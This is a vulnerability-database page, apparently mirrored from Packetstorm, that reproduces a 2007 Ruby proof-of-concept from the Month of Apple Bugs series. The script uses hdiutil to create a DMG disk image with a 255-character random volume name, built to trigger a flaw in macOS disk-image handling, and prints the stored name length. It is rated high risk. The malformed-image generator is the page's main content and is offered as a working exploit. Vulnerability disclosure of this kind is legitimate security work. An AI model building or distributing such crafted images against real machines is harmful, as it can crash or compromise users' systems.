Lucene search
K

MOAB-09-01-2007.rb.txt

🗓️ 13 Jan 2007 00:00:00Reported by LMHType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 15 Views

Create MOAB-09-01-2007.dmg file with specific size and file system type using Rub

Code
`#!/usr/bin/ruby  
# (c) 2006 LMH <lmh [at] infopull.com>.  
#  
  
require 'fileutils'  
require 'zlib'  
  
hdiutil = "/usr/bin/hdiutil"  
dmgname = (ARGV[0] || "MOAB-09-01-2007.dmg")  
dmgsize = (ARGV[1] || "200k")  
filesys = (ARGV[2] || "UFS")  
volname = ""  
  
255.times do  
volname << (i = Kernel.rand(62); i += ((i < 10) ? 48 : ((i < 36) ? 55 : 61 ))).chr  
end  
  
FileUtils.rm_f(dmgname)  
system "#{hdiutil} create #{dmgname} -size #{dmgsize} -fs #{filesys} -volname #{volname}"  
  
puts "++ reading #{dmgname}..."  
dmg_stream = File.read(dmgname)  
dmg_vnsize = dmg_stream[0x9c10,0x9c14].unpack("C2")  
puts "++ volname length at dmg: #{dmg_vnsize}"  
puts "++ dmg size: #{dmg_stream.size} bytes."`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Jan 2007 00:00Current
7.4High risk
Vulners AI Score7.4
15